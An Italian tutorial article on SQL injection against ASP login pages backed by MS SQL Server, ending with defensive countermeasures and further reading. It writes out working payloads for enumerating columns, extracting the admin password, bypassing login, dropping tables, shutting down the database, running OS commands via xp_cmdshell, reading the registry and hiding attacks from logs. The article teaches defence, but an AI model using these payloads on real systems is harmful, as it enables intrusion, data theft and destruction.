Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

SQL Injection: cos'è, tecniche e come proteggersi

Cosa è e come si utilizza la SQL Injection, l'errore più diffuso nella programmazione di pagine Web e il più usato nelle azioni di hacking e cracking
Cosa è e come si utilizza la SQL Injection, l'errore più diffuso nella programmazione di pagine Web e il più usato nelle azioni di hacking e cracking
Link copiato negli appunti

<< Le dita dell'hacker scorrono veloci sulla tastiera,
il form di autenticazione web non è un problema. Non conosce
username e password, non gli servono: pochi secondi, tre battute sulla
tastiera e il sistema è completamente nelle sue mani. "Good
Morning, Administrator!", recita la nuova schermata. Non sono così
sicuro che sarà una buona giornata per l'amministratore, pensa
l'intruso fra sé. >>

Se pensate che una cosa simile possa accadere solo al cinema, vi ricrederete:
questa scena viene girata ogni giorno decine, se non centinaia di volte,
a causa di una delle tecniche di hacking del web più diffuse:
la SQL injection. L'introduzione romanzata non esagera
riguardo alla semplicità con cui un aggressore può oltrepassare
i login messi a protezione delle nostre applicazioni web: è davvero
questione di secondi.

Molti già conosceranno SQL (Structured Query Language), uno dei
principali linguaggi usati per interagire con i database. Le pagine
web dinamiche ASP e PHP (ma non solo) lo utilizzano con successo per
memorizzare e manipolare le informazioni. L'insieme di dichiarazioni
SQL inviate al database per ottenere una risposta si indica con il termine
query (interrogazione). Le query possono modificare
la struttura del database - ad esempio eliminando una tabella - oppure
manipolarne il contenuto.

Un particolare dialetto utilizzato dal database Microsoft SQL Server
è il Transact SQL. Per approfondire la conoscenza
del linguaggio, uno dei più diffusi nelle pagine ASP (che sono
maggiormente vulnerabili alla tecnica che stiamo per esporre), consultiamo la guida a T-SQL di HTML.it.

Ora possiamo capire con facilità a cosa si riferisce il nome
dato alla tecnica: la SQL injection consiste nell'inserimento
di query T-SQL e nella modifica di interrogazioni già esistenti
nelle pagine dinamiche, così da far compiere all'applicazione
un'azione del tutto imprevista.

Pensiamo all'esempio di un campo di autenticazione molto comune, come
il login alla nostra webmail. Normalmente inseriamo username e password
per poter leggere la posta elettronica. Lo script si collega
al database, verifica le nostre autorizzazioni e ci consente l'accesso.
Tutto questo tramite interrogazioni SQL. Ma cosa succede se un utente
malizioso inserisce caratteri propri del linguaggio T-SQL (ad esempio
l'apostrofo ', il doppio trattino --,
il punto e virgola ;)? Con ogni probabilità,
se la pagina ASP non prevede la validazione dell'input, l'aggressore
può modificare la query a suo piacimento.

Naturalmente non basta una virgola per far cadere il sistema nelle mani
dell'aggressore, ma è un buon punto di partenza. Modificando
le query, come vedremo più avanti, è possibile avere accesso
ad alcuni dati senza autorizzazione, eludere i sistemi di autenticazione
e addirittura far eseguire veri e propri comandi al server web (ad esempio
un listato delle directory, o una lettura del registro di Windows).

Anche se la vulnerabilità alla SQL injection è piuttosto diffusa,
esistono molte applicazioni web ben programmate che saranno inattaccabili
ai nostri tentativi di accesso (e, di conseguenza, a quelli di un hacker).
Se utilizziamo pagine di login in ASP sul nostro sito web (o se le utilizzano
script installati sul server) possiamo controllare la loro eventuale insicurezza
con un metodo molto semplice.

Apriamo la pagina e inseriamo il carattere di apostrofo nel campo riservato
al nome utente, quindi premiamo invio. A seconda della reazione ottenuta,
sapremo se l'applicazione si presta o meno a manipolazioni. Se appare
una scritta che ci avverte che username e/o password non sono validi,
probabilmente la nostra avventura si conclude qui. Se al contrario appare
un errore HTTP 500 (Errore interno del server) oppure
una descrizione di errore ODBC (Tab. 2.1) possiamo immedesimarci
per qualche minuto nell'hacker che trova una nuova "preda".

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ID="' AND PASSWORD="'.
/scripts/login.asp, line 178

A quanto pare ci siamo imbattuti in uno script vulnerabile collegato a
un database Access, che gentilmente ci indica anche la parte di codice
ASP che genera l'errore. Per comodità di lettura, togliamo le virgolette
aggiunte dal server nel messaggio e cerchiamo di evidenziare il nostro
carattere di apostrofo:

ID=' ' ' AND PASSWORD=' '

 

Questo ci aiuta a fare ipotesi sul codice sorgente, che potrebbe includere
un comando simile a questo:

Select * from tabella where ID=' username ' AND PASSWORD='
pass '

Il nostro apostrofo è stato memorizzato nella variabile username,
causando l'errore, dato che è stato interpretato come uno dei caratteri
(apostrofi) usati nella dichiarazione. Il campo password invece è
rimasto vuoto, visto che non l'abbiamo inserita.

Ottenere informazioni

Le informazioni che si possono ottenere iniettando i comandi SQL nella
query sono infinite: prima di vedere come oltrepassare l'autenticazione,
impariamo qualche trucco per estrapolare questi dati. Per poter manipolare
al meglio i dati a disposizione, l'aggressore deve conoscere la struttura
del database: nomi delle tabelle, delle colonne, tipi di dati contenuti.
Ecco i metodi principali per trovare le informazioni che ci servono!
Gli esempi si riferiscono a MS SQL Server, il comando va inserito per
intero nel campo Username.

Obiettivo: Trovare il nome della tabella e della prima
colonna
Comando: ' having 0=0--
Risultato: Column 'members.UserID' is invalid in
the select list because it is not contained in an aggregate function
and there is no GROUP BY clause.

Obiettivo: Trovare il nome della colonna successiva
Comando: ' group by members.UserID having 0=0--
Risultato: Column 'members.Password' is invalid
in the select list because it is not contained in either an aggregate
function or the GROUP BY clause.

Obiettivo: Estrarre i nomi di tutte le colonne successive
Comando: ' group by members.UserID, members.Password
having 0=0 --
Risultato: Column 'members.FirstName' is invalid
in the select list because it is not contained in either an aggregate
function or the GROUP BY clause.

Il comando può essere ripetuto, continuando ad aggiungere i nomi
appena trovati separati da virgola, fino a quando il server non mostrerà
più alcun errore. In tal caso saremo sicuri di aver trovato tutti
i nomi delle colonne, utilizzabili per inserire nuovi dati nel database.

Obiettivo: Scoprire se esiste un utente administrator
Comando: ' union select min(UserID),1,1,1 from members
where UserID > 'a'--
Risultato: Syntax error converting the varchar
value 'admin' to a column of data type int.

Obiettivo: Trovare la password dell'utente admin
Comando: ' union select Password,1,1,1 from members
where UserID = 'admin'--
Risultato: Syntax error converting the varchar
value 'pippo80' to a column of data type int.

Una volta trovata l'applicazione vulnerabile, per aggirare il login
basta solitamente un solo comando. Supponiamo di avere uno script che
verifica l'esistenza dell'username e della password. Se il valore restituito
è TRUE, ci consente di proseguire, altrimenti ci rimanda a una
pagina di errore. Dopo aver inserito i dati, l'interrogazione si presenta
così:

Select * from members where UserID='roberto'
and Password='test'

Purtroppo la coppia di valori inseriti non ha un riscontro nel database,
quindi non possiamo proseguire. Proviamo allora a inserire come password
una stringa SQL, ad esempio la famigerata ' or 0=0-- oppure
test' or 0=0-- e vediamo cosa succede:

Select * from members where UserID='roberto'
and Password='' or 0=0--'
Select * from members where UserID='roberto' and Password='test'
or 0=0--
'

Notiamo che il primo apostrofo che abbiamo inserito viene considerato
come la chiusura del campo Password, mentre il carattere di chiusura originale
slitta dopo i nostri trattini. Il secondo esempio aiuta a capire meglio
questo passaggio, evidenziando il contenuto del campo Password, che nel
primo esempio è invece nullo. Tutto ciò che viene dopo i
due trattini non è considerato da SQL, quindi il carattere di chiusura
in più non provoca errori.

Grazie a questo semplice stratagemma riusciremo a eludere il controllo.
L'interrogazione può essere tradotta come: << seleziona nella
tabella members tutti i record che hanno roberto come UserID e password
nulla (password test nel secondo caso) oppure in cui
0=0 >>. Dato che zero è sempre uguale a zero, l'intera stringa
assume un valore TRUE e noi siamo riconosciuti come utenti autorizzati!

Comandi avanzati

Sebbene la stringa che abbiamo appena visto possa essere considerata
il deus ex machina della SQL injection, esistono molti altri
modi per manipolare il login e per eseguire comandi sul server. Vediamone
alcuni.

Username: admin' --
Effetto: Autenticazione come utente admin

Username: ' OR "='
Password: ' OR "='
Effetto
: Autenticazione senza credenziali

Username: ' ; drop table members--
Effetto: Eliminazione della tabella di un database

Username: aaaaaaaaaaaaaaa'
Password: ' ; shutdown --
Effetto: Chiusura del database

Username: ' ;EXEC master..xp_cmdshell 'dir';--
Effetto: Esecuzione del comando dir per ottenere un
listato delle directory

Username: ' ;EXEC master..xp_regread HKEY_LOCAL_MACHINE,'percorso','chiave'--
Effetto: Lettura di una chiave del registro di Windows

Username: ' or 0=0 --sp_password
Effetto: Autenticazione come primo utente della tabella
users. L'aggiunta di sp_password fa in modo che la stringa non venga
visualizzata fra i log di SQL Server (vale per tutti i comandi).

Gli aggressori esterni saranno facilitati nel loro compito se il
database supporta molti comandi speciali tramite le query SQL. Il database
che si presta meglio alle tecniche di Avanced SQL injection è
il Ms SQL Server, a causa del supporto dei comandi
xp_cmdshell e simili, seguito da Postgree, DB2, Oracle e MySQL (generalmente
il meno vulnerabile).

Ora che conosciamo il modus operandi di un hacker che vuole
intrufolarsi nelle nostre applicazioni web, possiamo valutare le contromisure
più adatte a fermarlo. Essere in grado di riconoscere autonomamente
gli script a rischio è già un buon passo avanti; adesso
vediamo in che modo prevenire gli attacchi.

  • Validazione dell'input. Implementiamo delle procedure
    di validazione nei nostri script, prevediamo e blocchiamo ogni tipo
    di carattere pericoloso che può essere immesso. La validazione
    deve essere fatta rigorosamente lato server. I JavaScript sono praticamente
    inutili contro un hacker.
  • Controllo delle informazioni. I dati che il nostro
    server web si lascia "scappare" sono importantissimi per
    un hacker; ne sono un esempio i messaggi di errore ODBC che, abbiamo
    visto, possono essere manipolati facilmente. Configuriamo IIS in modo
    da inviare un messaggio di errore generico invece che specifico.
  • Ridurre i privilegi. Il servizio del server SQL
    non deve avere privilegi superiori, in modo da contrastare le tecniche
    di hacking che invece li richiedono.
  • Aggiornare spesso. Molti punti vulnerabili alla
    SQL injection non sono così evidenti come nei casi che abbiamo
    visto finora. Per questo non abbiamo la possibilità di riconoscerli
    subito. Gli update degli script (forum, sistemi di gestione) risolvono
    questi problemi appena vengono trovati, quindi teniamoci aggiornati!

Per ulteriori approfondimenti sulle tecniche di injection e sulla protezione
delle pagine dinamiche consultiamo i testi elencati di seguito:

- Chris Anley, "Advanced
SQL injection in SQL Server applications", 2002
- Marco Bonzanini, Proteggersi dalla SQL Injection in FreePhp.it, gennaio 2004
- Mike Schiffman, Scacco
agli hacker
, Milano, Apogeo 2002
- S. McClure, J.Scambray e G.Kurtz, Hacker! 4.0, Milano, Apogeo 2003

Ti consigliamo anche